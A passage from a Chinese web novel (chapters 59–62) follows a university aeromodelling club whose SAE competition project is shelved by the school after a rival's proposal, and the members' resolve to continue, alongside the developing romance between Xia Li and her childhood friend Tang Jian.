“我们宿舍不是有个机械工程专业的么,我昨天听她提了一嘴,说是有个跟她关系很好的学长,陆子航前两天找他了。” 第59章 夏篱夹着鱼丸的筷子顿在半空。 “比赛也是SAE吗?” 孙翡努力回想着室友的八卦, “这个……我不确定,她没具体说,只听说他拉人拉得挺凶的, 还放话说资源管够,反正肯定比现在航模社好高骛远有前景多了。” 乐苗虽然不太懂得资源不资源的个中缘由, 但听着孙翡的描述还是瞪大了眼睛,“他哪来的那么大口气嗷?” 孙翡想起就嫌弃似的撇撇嘴,看乐苗问,“你见过他没?” 乐苗摇摇头,“只是传闻中听过。” 孙翡说, “但凡你看过他一眼其实就能看出来他为什么会有那么大口气了。” “怎么说?”乐苗问, “我只听茴茴说过他用发胶梳着个大背头。” “怎么说……”孙翡咬着筷子思索了片刻, 说, “陆子航吧,其实一看就能看出来家境条件本身应该就不错,衣服鞋子都名牌就不说了, 我见他几次,手上名牌手表都有好几块。但你说有钱的人那么多,有些人同样名牌衣服名牌手表但你看着就从不会觉得有什么不对, 而有些人看着你就是会觉得不舒服……陆子航就是让人不舒服那挂的。” 乐苗闻言“嗷”了声,“懂了, 暴发户?” 孙翡弹了下手指,“啊对对对对对, 就这种感觉!” 一旁的夏篱心思还在孙翡刚说的比赛上,她慢慢把鱼丸送进嘴里,咀嚼了几下,咽下去。想着唐简还真是一语成谶, 陆子航还真就准备搞个队伍跟他们打擂台。 他所谓的“资源管够”,大概率是因为陈默曾说过的他那个在校外的“工作室”和“外快”,可能还有……刘雨萱之前积攒的一些外部赞助商。这些对于一些看重实际利益或者对未来感到不安和迷茫的社员来说,无疑具有不小的吸引力。 “翡,你室友还说什么了吗?”夏篱看孙翡问。 不知又在跟乐苗说什么的孙翡闻言愣了下,随即摇摇头,“再多没了,我室友那意思也是听他学长跟她聊天抱怨了几句,说陆子航那人说话口气大得很,让人挺不舒服的,但条件开得确实不错,很吸引人的样子。” 夏篱思忖片刻,放下筷子把这消息发给了周予,问他有没有听说过这事。 【周予】:我也刚听说! 【周予】:我正找人打听具体是什么比赛,有消息我会第一时间通知你们。 【好好学习天天向上】:好。 【好好学习天天向上】:但我怀疑他组队可能是为了SAE基础组的冠军。 夏篱最后这句猜测发出去,周予甚至顾不上打字,直接给她电话过来。 周予:“你意思是他以冲击基础组冠军的名义在学校那边和我们抢资源?” 夏篱“嗯”了声,“很有可能。” 她记得之前唐简也跟她说过,学校在这上面是持“保守”态度的……不然也不会隔了好几天迟迟不给他们回复。 周予听了好一会儿没回应,夏篱还以为电话断了,看了眼才叫他:“社长?” “在在,”周予应声,“我知道了,晚点有消息我在群里发。” “好。” …… 下午的金工认知实习课依旧在工程训练中心。 有了第一次上课的经验,这次每个班都自觉地按照上次排队入场,只是这次维持纪律的人不再是陆子航,而是换了另外一个夏篱不认识的学长。 唐简一直等课开始上了快十分钟才姗姗来迟,余兵看样子应该早知道,什么都没说就让他回到了自己位子上。 实操课,夏篱因为脚伤,操作上多有不便,更多的是在一旁观察和记录。 只是这次分组,夏篱不知道唐简有没有仗着自己在老师那“爱徒”的身份走后门,但名单上她确实是被分到了他这组。 “有什么事吗?”唐简一走过来,夏篱就仰头小声问了他一句。 唐简不易察觉地顿了顿,随即看她扬了下眉,反问她,“怎么这么问?” 夏篱歪了歪头,“感觉你表情不太对。” “……”唐简心里叹气,表面却不动声色地笑着拍了拍她的头,玩笑道,“篱sir,嗯?” “…………” 唐简一改上次一起上课时外人眼中的“高冷”学长范儿,像个助教似的,寸步不离地守在夏篱身边,偶尔在她需要时搭把手,或是低声讲解一些操作要点和原理,引得同组的人连连侧目。 课程进行到后半段,是关于一个简单泵体结构的拆装与效率测试试验。 各小组需要分工合作,完成拆解、测量、重新组装,然后链接到测试台架上,测量其在不同工况下的流量和压力输出,并计算效率。 夏篱他们小组,除了她和唐简、孙翡,还有另外三个大一男生。 拆卸和组装环节,唐简主要负责指导,夏篱记录技术要点,而孙翡和余下三个男生一起操作。 到了测试环节,就需要有人精确控制测试台架的进口阀门、调节负载,并实时记录数据。这个环节看似简单,实则需要对系统响应有很好的感觉,操作稍有不慎或迟滞,就会导致数据波动很大,影响效率计算的准确性。 一个男生自告奋勇先尝试,但几次下来,数据曲线都跳动得很厉害,重复性很差。 男生有些懊恼地“啧”声,“这个阀门好难调啊,稍微动一点,压力变化就好大!” 唐简看了他一眼,接过手演示了下。 他操控精准,数据曲线瞬间平稳的吓人。 男生一下不吭声了,郁闷地挠了挠头。 “我来试试。”孙翡在一旁观察了会儿,忽然开口。 其中和孙翡同班的两个男生对视一眼,都有些意外地看向她。 虽然他们动力工程专业,理论上相关,但平时孙翡给他们的感觉总是一种活泼跳脱、甚至有些大大咧咧的样子,以至于让他俩不约而同地都有那么一种错觉,对于这种需要极度细心和精准操控的工作,比起她来他们甚至会更适合。 唐简倒是什么都没说,让开了位置。 孙翡深吸一口气,在操作台前坐下。她的手握住那个小小的阀门手轮,眼神瞬间变得专注起来。她先是极慢地转动了一点,仔细观察着压力表和流量计的变化,以及屏幕上的实时曲线,紧接着开始微调。 她动作并非像是唐简那般仿佛试练过无数次的熟练,非常轻缓,甚至有些举重若轻的意味,手指细微捻动几乎看不出幅度,但仪表上的数字和屏幕上的曲线却以一种稳定而理想的速度向着理论最价值靠近。 始终仔细在旁观察的夏篱目光渐渐变得惊艳起来。 孙翡对系统动态响应的感知和操控精度,完全超出了她的想象。她不仅很快将系统稳定在了高效区,甚至在负载微微波动时,能几乎同步地进行补偿性微调,使得效率始终维持在很高的水平,数据曲线平滑得令人惊叹,甚至比方才唐简那一下的结果还要好。 “哇!”其中一个男生看着屏幕上漂亮的数据,忍不住惊呼一声,“孙翡,你可以啊!” 孙翡这才仿佛从那种专注里回过神来,有点不好意思地笑了笑,“嘿嘿,还行吧。我感觉这跟玩游戏微调灵敏度有点像……” “这不是还行,是相当行。”唐简难得开口,他看着屏幕上的数据,“你对系统动态特性的直觉和手头的控制很精准。” 夏篱心中一动,一个念头闪过。 SAE高级组的矢量推进系统,核心难点之一不就是对复杂非线性动力系统的精准控制吗?飞控算法再优秀,最终也需要通过执行机构来实现,而对执行机构的操控精度和响应速度,直接决定了飞机的机动性能和效率。 孙翡此刻展现出的这种对动力系统细微变化的敏锐感知和精准操控能力,正是他们未来实机测试和非空调参中极其宝贵的天赋! 想到这里,夏篱略微激动地抓了一下站在她身旁的唐简的手臂,在他低头看她时眼睛亮亮地眨了下。后者仿佛会读心术似的瞬间明白她的意思,轻轻挑眉颔了颔首。 下课铃响,学生们陆续收拾工具离开。 夏篱等不及从训练中心出去,捉住孙翡的手晃了晃,“翡,要不要来航模社?” 孙翡愣了下,“啊?” “航模社啊,”夏篱迫不及待重复,“要不要来航模社一起玩?我们一起参加比赛!” 孙翡:“……啊?” 一旁的唐简被两人逗笑了下,低头看了眼夏篱那双亮晶晶的眼睛,对孙翡道,“阿篱的意思是要不要来航模社加入我们的飞控测试小组,你在实机测试和飞控调参很有天赋。” “我?”孙翡指着自己,一脸受宠若惊,“我吗?真的吗?我专业课还没学多少呢……我以前也没参加过什么大型比赛啊。” 刚入学时她想进航模社也是因为好奇多一些,想学点相关东西……正式参加比赛?她想都没想过。 “能力和直觉有时候比书本知识更难得。”夏篱认真地说,“尤其是飞行器实测试飞和参数调试阶段,我们需要对动力和操控有极佳感觉的人。我觉得你非常合适。” “…………”孙翡还是难以置信地看着夏篱。 夏篱拿手在她面前摇了摇,“翡?” 孙翡仿佛终于回神似的,顿时一脸兴奋地猛地弯腰抱住夏篱,“真的吗?好啊好啊太好了!要啊要啊我愿意我愿意!!一百个一千个一万个愿意!!!” 孙翡一把抱住夏篱摇晃着,可把一旁的唐简给吓坏了,“小心小心,阿篱的脚。” “哦哦对对,对不起对不起,我太激动了!”孙翡傻笑着松开手。 夏篱笑着摇头,看她手舞足蹈的模样自己也很开心,“我没事。” 三人正准备离开时,正好看到陆子航和几个人勾肩搭背地从他们身边过去。这次他倒是没再出言挑衅什么,只是勾着西瓜头的肩膀扭头在三人脸上幸灾乐祸似的扫了眼,嘴角勾起一抹嘲讽的弧度,慢悠悠地走了。 孙翡看着他那副样子就气不打一处来,刚想张口开骂,就听夏篱的手机响起来。 夏篱看到刚调开音量的手机屏幕上闪烁的周予名字,一个不好的预感猛地袭来,她下意识抬头看了眼唐简,才接通电话放到耳边。 那边周予二话没说直接道,“你看我刚转到我们小群里的邮件,学校回复了……项目立项停滞,暂缓批复。” 第60章 唐简在夏篱的示意下把自己手机递给她, 看她解开手机打开微信点开了他们四人在的微信群。 未读消息已经有了一连串,他看她直接往上翻了几个页面点开了一张截图,然后眉间皱起。 “我知道了。”夏篱看完截图深吸口气, 把手机递还给唐简,努力让自己的声音听起来镇定, “社长你先别急,待会我们到307再详谈。” “好,好。我现在就过去!”周予在那边急急应声。 虽然周予心里早有准备,但刚真的收到邮件通知时,还是本能地前前后后看了好几遍, 仿佛只要自己继续看下去, 整篇邮件内容就可以按照自己的想法重新变一篇出来一样。 短短几行字, 轻易否定了他们这段时间所有的努力和期冀。 没有经费, 没有学校的正式支持,项目就是空中楼阁。之前凝聚起来的团队士气说不定会土崩瓦解……他没法不急。 唐简点开那张截图,看到周予二十分钟前发到群里的邮件信息。 措辞很官方, 很客气,大意是:学校高度重视学生科技创新活动,对航模社勇于挑战高水平的SAE大赛精神表示赞赏。但经初步审议, 认为该项目利益高远,鉴于其技术难度极大、所需资源投入较高, 且社团近期人员变动较大,为确保项目成功率和资源有效利用, 学校决定暂缓批复该项目申请。建议航模社继续夯实基础,或在现有条件下寻求规模适中、风险可控的项目进行探索。待条件更为成熟时,可再次提交申请云云。 “看来我得到的消息是真的。”夏篱刚挂断电话就听唐简说道。 “什么消息?”夏篱问。 唐简收起来手机低头看她,说, “中午我从老师那听说学校有意组队冲击明年SAE基础组的冠军,听说立项报告申请写得很漂亮,最主要的是因为有校外赞助,预算要的很少……我怕影响你上课,原本想下课再跟你说的。” 也是巧了。 夏篱叹口气有些无奈地笑了笑,看了眼孙翡才又看唐简道,“中午我从翡翡那听说陆子航在拉人组队的事时就怀疑他有可能是想组队冲击基础组冠军,我怕影响你跟你老师谈事就没跟你说,只让周予打听看看真假……刚他也在电话里说了,是真的。陆子航报告是跟我们同一天交的。” 所以陆子航刚刚那嘲讽的眼神此刻回想起来,仿佛早预见了这个结果,带着一种恶意的了然。 陆子航这一手釜底抽薪,精准地打在了学校决策层的顾虑上。 而知道了前因后果的孙翡气得口不择言,直接开骂:“这世上怎么就会有那么贱的人?这不明摆着抢资源捣乱吗?我真是想不通了!光明正大做个人不好吗?怎么总跟你们过不去?搞得好像你们在他家祖坟上蹦过迪似的——” 夏篱握了握孙翡的手,“我们要参加比赛总不能就不让别人参加了,既然他非要比,那就各凭本事吧……先去开会。” “我、我也去吗?”孙翡受宠若惊道。 夏篱反问她,“那你呢?你刚刚答应我要加入航模社结果就出了这样的问题……你还想要来吗?” “当然!”孙翡不假思索道,“我不相信航模社但我相信你,只要是你想做的事,我相信无论如何你都会成功的。” 夏篱闻言心中涌起一股暖流,“谢谢你,翡翡。” 一旁的唐简掌心在夏篱脑后摸了摸,“不慌。只是‘暂缓’不是‘否决’。” “嗯。” 307实验室里,周予和陈默已经到了。前者正烦躁地抓着头发来回踱步,陈默则坐在一台电脑前,面色凝重地撑着脸盯着电脑屏幕看。 见他们进来,周予甚至没发现他们身后多了个人,立刻迎上来,“现在怎么办?预研我们还要继续吗?” “当然要继续。”唐简眸色沉静如水,看着周予道,“不仅要继续,而且要加速。我们需要在最短的时间内,拿出一个能懂、能飞、能验证核心思路的简化模型。哪怕它粗糙,数据不完美,但它必须是‘活的’。” “对。”夏篱默契接话,“学校怕风险,求稳妥,那我们就把风险降到最低,把‘稳妥’做到极致。我们不仅要验证核心技术的可行性,还要拿出一套完整的、低成本的、可快速迭代的开发测试流程方案。我们要证明,即使没有学校前期的大笔投入,我们也能用极小的代价,高效地推进项目,产出高质量的成果。” “没错。”唐简点头,“这不仅是技术验证,更是项目管理能力和团队执行力的证明。” 这时一直还没开口的沉默也点了点头,表示赞同,“有道理。这个过程本身也能持续锻炼团队,凝聚人心。即使最后学校依然不批,我们积累的经验、技术、乃至这个磨合好的团队,都是实打实的资本。未来无论是寻求校外赞助、参加其他比赛,甚至知识作为我们个人的履历,都价值巨大。” 夏篱“嗯”了声,看向周予,“社长,你之前说申请基础耗材和设备使用费没问题,这部分还能争取到多少?我们要最大限度地利用起来。” 周予原本有些忐忑不安的心被夏篱他们的淡定安抚下来,急忙回道,“3D打印的耗材、一些基本的电子元件、传感器……如果只是做简化版的验证模型,应该能支撑一段时间。同时我再去找一些面向大学生科创的众筹平台和中小科技企业谈谈看,看他们能不能给我们提供点赞助……不过就算有也得等我们能拿出可以说服人家的东西以后了。” 说到这里,周予突然看夏篱道,“对了,刘雨萱……大概率是指望不上了,但梁清波不是你室友吗?刘雨萱带了她也有段时间了,她手里多多少少应该也有些校外资源,她能帮上忙吗?” 周予无意的一句话,直接把夏篱给问住了。 她闻言张了张嘴,却不知道该怎么回他。 一旁的唐简还没来得及开口,仿佛看出夏篱犹疑似的孙翡虽然有些疑惑和惊讶,但还是张口替夏篱解围道,“瞧你这社长真有意思,带大波的刘雨萱你都指望不上,大波一个大一新生你还指望她比她强啊?想什么呢。” 虽然她更好奇什么时候大波也加入的航模社而她并没听她们任何人提起过。 “……?”周予仿佛才刚发现这里多了个人似的震惊地瞪大了眼看孙翡,“……不好意思,你是?” “抱歉,”这时夏篱开口道,“刚才太匆忙没顾得上介绍,社长,这是我的好朋友孙翡,大一动力工程专业的。她在飞控调参上很有天赋,可以让刘淌先带着熟悉下飞行模拟器和飞控参数的意义和调整效果,之后可以加入我们的实操测试小组。” “啊欢迎欢迎!”周予并不介意刚刚孙翡充满直白的“指责”,反而因为相信夏篱而“爱屋及乌”地热情伸手,“欢迎你加入航模社!欢迎欢迎!” 能在航模社这种情况下义无反顾地加入,可见是真爱!真爱! “……”孙翡虽然有些受不了周予脸上太过明显的热情,但还是伸手和他握了握,“……谢谢。” 随后她又给走过来的陈默招呼了声,“陈默学长,好久不见。” 陈默挥了下手,“好久不见。” “……”周予纳闷,“怎么你们也认识啊?” 陈默说,“国庆出去玩的时候见过。” “你们一起出去玩为什么不叫我?”他顿时有种被抛弃感。 夏篱无言道,“社长,那时候咱们只见过一次面,还不熟呢。” “……”行吧。 “瘦死的骆驼比马大,梁清波那边——” 夏篱打断他,说,“大波那边……我会试着问问看的。” “试着”这个词就很妙了。 至少不应该像是亲近“室友”间会用到的一个词。 周予虽然奇怪但对他来说这事结果比过程重要,自然没再多说什么。 “那……这事要跟大伙说吗?”他指何晓雯他们。 “当然要说。”陈默说,“大家既然是一个团队,那就要有同甘共苦的决心,要是瞒着不说就不够坦诚,还有什么脸说别的。” “我同意。”夏篱说。 唐简也“嗯”了声。 “好!”周予郑重点了点头,“我现在就把情况在群里说清楚。” 几人围在一块先在小群里整理了下社团现有资源,再斟酌用词把现有情况编辑了段话出来,周予反复琢磨了几次,才一段段复制到大群里。 最后,【周予】@全体成员:情况就是如此。我知道大家肯定会很失望也很突然。但我还是想问,有没有人愿意和我一样最后再拼一把,继续把项目做下去?如果愿意明天我们307见,重新规划路线,假如不愿意也没关系,直接退群就可以了,我保证今后不再打搅大家。 信息发出去后,周予心跳地贼快,他甚至觉得比他当年高中毕业第一次跟喜欢的女孩表白时跳得还快。 夏篱看着周予点了发送后就闭上眼重重地吸了一口气吐出来,甚至不敢再看手机屏幕一眼确认下群聊人数是不是真的在减少的模样,那一瞬间,她其实有些百感交集。 仿佛这一瞬间她才终于放下心底的所有芥蒂,重新认识了周予,明白他先前无论是看似“夸张虚假”的热情还是无时无刻为了自身“利益”而耍的那些小心眼,归根结底……无非“热爱“二字。《 》 60-70 第61章 夏篱的目光从周予紧张到几乎有些滑稽的脸上移开, 落回到自己的手机屏幕上。 微信群聊的界面始终静悄悄的。 这种沉默,反而比直接的拒绝或质疑更让他们的心悬在半空,不上不下。 “怎么没动静啊?网卡了?”不同于唐简三人的沉静, 孙翡掐着腰扒头也看着夏篱的手机道。 陈默转着手里的笔,“这会儿是吃饭时间, 谁也不能一直盯着手机看吧。” 孙翡回头看了眼陈默,直言道,“就是因为吃饭时间想回消息才最快吧?谁吃饭不刷手机的啊?” 陈默:“……” 夏篱对此倒是看着挺平静的,“总得给大家点思考时间。” 唐简站在夏篱身边,一手随意地搭在她的轮椅靠背上, 神情是几人中最平静的一个。 十多分钟过去, 唐简提前点的外卖都到了, 群里还是安安静静地, 没人说话,但群聊人数也没少。 约莫五分钟后,人数由15变成13, 然后再变成11。 夏篱忍着没去点开看退出的是谁,那对她来说不再重要。 又过了两分钟,终于有人第一个回应了消息。 【何晓雯】:收到。 【何晓雯】:高级组的挑战性基础组没法比。我选男的。 【对方撤回一条消息】 【何晓雯】:高级组的挑战性基础组没法比。我选难的。 紧接着是王海。 【王海】:加我一个。 【王海】:材料性能模拟跑了一半不能白费。 【王海】:而且轻量化方案我有新想法, 正好需要高级组这样的平台验证。 再然后是同时冒泡的张铭轩和林曦。 【张铭轩】:通信协议升级方案草图我马上就完成了……地面站这块我能扛。 【林曦】:前期概念渲染和后期数据处理我没问题,项目需要视觉呈现的话我也可以。 …… …… 一条接一条的回复, 没有豪言壮语,却像一块块磐石, 稳稳地垒砌在原本可能倾塌的基石上。 周予看着屏幕上不断跳出的信息,喉结滚动了一下,似乎想说什么,却最终只是用力地、深深地吸了一口气, 然后缓缓地吐出来,紧绷的肩膀随之松弛了些。 【周予】:谢谢!谢谢大家!明天晚上七点307,我们一起重新开始! 这一刻,夏篱清晰地看到,周予身上那种市场令人不适的原话和算计仿佛被一层光晕柔和了边缘,显露出底下那份或许连她自己都未曾完全察觉的、对航模社、对飞行器、对这群人最本真的热爱与责任。 他们或许目的不同,性格迥异,但此刻目标前所未有地一致。 希望重新被点燃,而且比之前更加踏实和炽热。它不再依赖于外部的认可和资源,而是根植于这个小小团队内部每一个人的信念与双手。 “好了!”周予声音因为激动而略微沙哑,“太好了大家!啥也不说了,干就完了!先吃饭!吃饱了才有力气熬夜!” 唐简点的外卖是家份量十足的小炒菜,几个人围坐在工作台边吃着。 孙翡虽然刚加入,但性格使然,丝毫没有见外,一边扒拉着米饭,一边认真听着夏篱他们讨论接下来要怎么做,是不是插嘴问一两个问题,很快就融入了进去。 众人离开时已经星斗满天。 孙翡和陈默一样,有眼力见底借口自己要去趟超市先夏篱一步走了。 唐简推着夏篱最后从实验室出来,秋天的晚风已经戴上了明显的凉意,吹动着道路两旁泛黄的树叶,发出沙沙的轻响。 “在想什么?”唐简低头,看着夏篱被路灯勾勒出柔和光晕的侧脸。 她的表情很平静,甚至带着一丝不易察觉的松弛。 其实自从有了航模社的事情之后,唐简近来已经很少在她脸上看到从前那种纯粹又肆无忌惮的笑容了,他知道,她其实压力很大。 夏篱轻轻吁出一口气,白色的雾气在清冷的空气中短暂停留又迅速消散。 “我觉得……我好像突然没那么焦虑了。虽然困难一点没少,甚至更大了,但不知道为什么,刚刚看到大家的回复,就觉得,其实也没什么大不了的。” 她顿了顿,寻找着合适的解释,“就是一种……很奇怪的感觉。以前觉得这件事一定要依靠学校、依靠资源才能做成的事,现在发现,其实‘人’本身才是最重要的。只要人还在,心还齐,路就总能走下去。” 唐简的嘴角无声地弯起。 他能感觉到夏篱身上某种气质的变化,一种从“参与者”到“真正承担责任者”的微妙转变,变得更加坚韧,也更豁达。 夏篱的话,让唐简想起一句话,他笑着道,“‘真正的力量,来自于共同信念凝聚的人心’。” 夏篱闻言仰头看他,也笑,“外公说的。” “嗯,”唐简应和道,右手用掌心兜了兜她脑后,声音在夜色里显得格外低沉温和,“因为目标一致,所以力量也能往一处使。这种感觉,确实比单打独斗或者依赖不确定的外界支持要踏实得多。” 毕竟共患难,往往比共享福更能把人心拧在一起。 “嗯。”夏篱点头,随后忽然想起什么笑了笑,“还有,周予当时等消息的样子还挺让我刮目相看的……他不可能是在演戏吧?不然学机械真是委屈他了。” “不是。”唐简就事论事,“他本质是个技术宅,有点小聪明,但心思不坏。以前被社团里乱七八糟的事情磨得有点圆滑,现在被逼到绝境,反而显出点本色来了。” 夏篱说:“我觉得是好事。” “嗯。” 到了楼下,唐简照例帮夏篱收了轮椅放到大厅宿管那,夏篱靠在门口墙边等他拿拐杖过来时刷手机,刚巧看到梁清波两分钟前给自己发的微信。 【大波】:还没回来? 【大波】:我听说你们提交的项目报告被学校拒绝了……你别太难过。 夏篱看着两条信息顿了顿,才打字回复:不会。 梁清波那边倒是回复的很快:嗯嗯,那就好。 【大波】:那个……我有点不好意思跟你说,就是……关于企业赞助的事,学姐她那边以前确实认识一些赞助商,但你也知道我刚跟学姐学没多久,她现在人已经在准备出国的事情了,基本上不管社里的事了。我试着帮你问了下,那些资源好像大部分都被别人接触过了,给我回复的话术都很含糊……估计都够呛能帮忙。 紧接着她就发过来几张跟人聊天的截图证明自己刚刚说的真实性。 【大波】:对不起啊,篱篱,我太没用了。 【大波】:但我会尽量再帮你问问的。 夏篱静静看着她发过来的消息,心中五味杂陈。 唐简拿着拐杖过来,轻易看出她脸上的不对劲。 “怎么了?”他问。 夏篱摇摇头说不出话,拿过他手里的拐杖,直接把手机递给他让他看。 唐简接过手机的瞬间就看到梁清波新发过来的一条消息。 【大波】:不过如果最后还是不行,以你和唐简学长的家庭条件应该自己也没问题的吧?所以别着急。 但这条消息很快在唐简看到的瞬间就飞快被撤了回去。 【大波】:别着急。 听到微信提示音,夏篱问了句:“又发了什么吗?” 唐简仿若没看到刚刚的话似的,看着刚才的聊天记录只是回复她,“让你别着急。” 他看完消息,把手机递还给夏篱,问她,“你怎么想?” 夏篱收起手机耸了耸肩膀,“怎么说……悬着的心终于还是死了吧。不过也好,这样也免得我苦恼怎么开口问她了。” 她表情虽然表现的无懈可击,但唐简又怎么可能看不出她的“强撑”。 他没考虑太多,上前一步张开手臂将她整个人揽进怀里用力抱住。 夏篱显然没想到他会突然如此,人一下愣住,瞪大眼睛看着眼前他胸口的夹克领子。少顷才蓦地回神似的脸颊轰然发烫地在他怀里挣扎了下。 “……唐、唐简!” 唐简没松开她,只是低头靠着她耳边说,“你知道我会一直在你身边的,对吧?” 一阵麻意仿佛从夏篱身上一窜而过,她又推了推他,开口时还是忍不住有些结巴,“你你你……突然这么肉麻做什么!” 她心跳擂鼓,虽然此时已经快到门禁时间,路上很安静,但她还是担心这会儿突然会有人从旁边过去。 唐简原就只是想安慰安慰她而已,并没做得太过分,在夏篱又推他这一下时顺势就松开了她,但手还是扶着她的胳膊,低头看着她又认真地问了一遍,“你知道我会一直在你身边的,对吧?” 夏篱耳边嗡嗡作响。 她明明听得见唐简的问话,可此时脑袋里走马观花的东西却跟他这句话毫不沾边。 他现在一定看到了自己红得像要滴血的脸了吧…… 他刚刚一定感受到自己快要跳出胸腔的心跳了吧…… 他现在要是开口问自己……的话,她该怎么办?她说得出拒绝的话吗? …… 昏黄的路灯下,唐简看着夏篱近在咫尺的眼睛,仿佛能从她眼里看到清晰的自己。 唐简扶着夏篱胳膊的手,无意识地微微收紧,目光不自觉地微微往下移了移。 时间仿佛慢了下来。 夏篱又如何察觉不到气氛的微妙变化,尤其是看到唐简视线下移的动作……她猛地用手捂住嘴巴。 红着一张小脸警惕地瞪着唐简含糊道: “唐建军!你敢亲我你就死定了!” 第62章 唐简的动作瞬间定格。 夏篱这句话像一道突如其来的急刹, 不仅拦住了他所有未经思考的、可能发生的冲动,更像一面镜子,让他看清了自己刚才险些失控的举动有多冒失。 他看着她捂紧嘴巴、瞪圆了眼睛, 像只受惊却虚张声势的小兽,眼底满是羞窘和强装出来的凶狠, 耳根红得几乎要滴出血来。那股始终盘桓在他心口、促使他想要不管不顾亲近她的热意倏地退潮,取而代之的是一种混合着懊恼、庆幸,以及更深沉怜惜的情绪。 他会想曾经父亲干爸他们在看到母亲和干妈时,是不是也会同他现在的感觉一样。 唐简迅速收敛了所有外露的情绪,从善如流地松开了扶着她胳膊的手, 甚至还绅士般地后退了半步, 重新拉开了两人之间过于亲密的距离。 “对不起。”他看着她, “我只是……” 可是开了口他又觉得说再多也诡辩不了刚刚自己确实有想那么做的冲动, 须臾他只能坦言承诺道,“下次不会了。” 唐简的反应完全出乎夏篱的反应,她捂着依然发烫的脸颊, 心里莫名地……空了一下。那种蓄足了力气要来把组合拳却一拳打在棉花上的感觉,让她一时间竟有点无所适从……只有胸腔里的心跳依旧快得离谱。 “但我刚说的话是认真的。”唐简迎着她目光,突然正了正神色。 夏篱当然知道他指的是哪句。 她没再看他的眼睛, 垂眼盯着他领口的位置含糊地“嗯”了声。 其实她知道,一直都知道。 只是, 从前这种“在”是发小、是亲人般毫无道理的信任和陪伴,如今……意义却好像变得不再相同。 它变得沉重也滚烫了许多。 唐简仿佛能看出她在犹疑什么, 沉吟半晌,问了她一句,“还是现在你仍然觉得我那天跟你说要追求你的话是一时冲动?” 夏篱的心脏还在咚咚狂跳,几乎要撞破胸腔。 他问的问题直接核心, 让她无法再像之前那样用插科打诨或鸵鸟心态敷衍过去。她张了张嘴,却发现手还捂在嘴巴上,只好慢慢放下手,用力捏了捏手指。 “我……”她喉咙发干,避开他过于专注的视线,“我不知道……但其实我也没怀疑过你——” “没有吗?”唐简打断她的话。 但声音里带着几分笑,并非责怪。 夏篱低垂着眼睛无意识地咬了咬上唇,少顷下定决心似的深吸一口气道,“唐简,你有没有想过你对我……或许只是受了爸妈和外公外婆他们的影响,可能是因为我们周围突然出现了很多人,让你对我们的关系产生了莫名的危机意识,你仅仅只是想要维持我们彼此从小到大这样的亲密关系而已,所以才会错误的以为那是……喜欢。” 唐简静静地听着,没有立刻反驳。 晚风拂过,稍稍冷却了方才险些失控的灼热空气。他看着夏篱低垂的眼睫,那细微的颤动仿佛扫在他的心尖上。 “阿篱,”良久唐简终于开口,声音在夜色中显得格外低沉而清晰,“我和你一样无法否认,爸妈和外公外婆他们的感情确实会让我们觉得……两个人能那样相伴一生,很好。”他缓缓说着,目光始终落在她身上,“我也承认,看到……程愈,或是其他任何一个可能靠近你让我意识到你终将属于别人的可能性时,我会不舒服、会很焦躁,会有强烈的危机感。” 他顿了顿,微微俯低身子,捕捉她的目光,“但是阿篱,你弄反了因果关系。” 夏篱闻言,眸中闪过一丝困惑。 唐简看着她,一字一句说得极其认真,“不是因为这些外界的因素,我才‘错误地’以为我喜欢你,而是因为我早就喜欢你,这些因素才会让我变得如此难以忍受。” 这句话,让夏篱的心跳又重重地漏跳了一拍,她张了张嘴,似乎是想要说什么,却被突如其来一阵由远及近的急促跑步声给打断了。 从远处跑过来的女孩大概也没想到这么晚了竟然还有人在,脚步在两人身边戛然而止了一瞬,眼睛也不由自主地在两人身上飞速打量两下才又气喘吁吁地跑了进去。 夏篱下意识往大厅里瞥了眼,正好看到宿管阿姨隔着窗户玻璃探头探脑地往他们两人这里瞅。她抬手看了眼时间,发现距离十一点竟然只有不到五分钟了。 ……她们这栋的宿管阿姨人果然很好。 “你、你快回去吧,”夏篱推了推唐简,“宿舍马上关门了,小心晚上睡大街。” 唐简笑了声,伸手很轻地在她额头上轻弹了一下,随即双手插进裤子口袋往后退了步,看着她,“看你上去我就走。” “……”夏篱拄着拐杖往前走了两步,却总能感觉得到身后那道目光还一直跟着自己,她回头,果然看他还在那站着。 夏篱忍不住催促他,“快回去啊,真想睡大街?” 唐简还是看着她笑,冲她摆摆手,“不会的,放心吧。” 夏篱张嘴还想说什么,可又觉得还是算了……反正他就算真的睡大街那也不关她的事。 然后人上到二楼,她忍着没有往下看……三楼过去,她还是忍着没看……一直到五楼楼梯窗口那,她忍了忍,还是没忍住,小心翼翼从窗户那伸出去脑袋……紧接着就看到唐简站在寝室楼对面的小草坪花坛边上仰着头,一手抄着裤子口袋,一手冲她扬了扬。 因为距离太远,夏篱虽然看不到他的脸,却能感觉得到此时他脸上是早知如此的笑。 夏篱:“……” 她飞快地缩回来脑袋,掏出手机发信息给他。 【好好学习天天向上】:快回去!! 【好好学习天天向上】:等我到六楼要是看到你还在那里你就完蛋了! 【唐杀千刀】:晚安 【唐杀千刀】:上去早点睡觉 夏篱没回他消息,继续往楼上走……到六楼楼梯窗口那她往楼下看……看到唐简竟然真的还是站在那。 “…………” 不知是担忧还是别的什么,夏篱眉间瞬间皱了皱,但她还没来得及动作,就察觉手机震动了一下,掏出来看—— 【唐杀千刀】:别生气 【唐杀千刀】:再看你一眼,真的要走了 夏篱下意识又往楼下看了眼,果然看到他扬手朝自己挥了挥,随后往后退了两步,转身,身形融入到秋夜的凉意之中。 她看着已经分辨不出身影的夜色,摸了摸自己心脏的位置。 依旧跳得飞快。 这……是心动的感觉吗? 夏篱推开宿舍门,里面只有方茴还亮着小台灯在看书,乐苗和梁清波的窗帘虽然都紧紧闭着,但隐约能看到手机的光亮。 “回来了?”方茴压低声音,“今天怎么这么晚?” 夏篱深吸口气,尽量让自己的声音听起来正常些,“还是社团里的事。” 方茴点点头,催促她快去洗漱。 冰凉的水扑在脸上,让夏篱依旧有些滚烫的脸颊和混乱的思绪稍微冷却了一些。 她之前确实一直试图用“戒断反应”“习惯使然”来解释自己所有的翻唱,固执地认为唐简只是一时冲动或是认知错误。可今晚,他那些坦诚而直接的话,却像一把精准的手术刀,破开了她所有的自我欺骗。 他对她的喜欢,是真的…… 那她自己呢? 她对他,究竟是什么感觉? 讨厌吗?当然不。 即使从前他常常气得自己调教,她也从未怀疑过他一直是她生命中最重要的人之一。 喜欢吗? 作为家人的那种喜欢,当然有的。 但是……男女之间的那种喜欢呢? 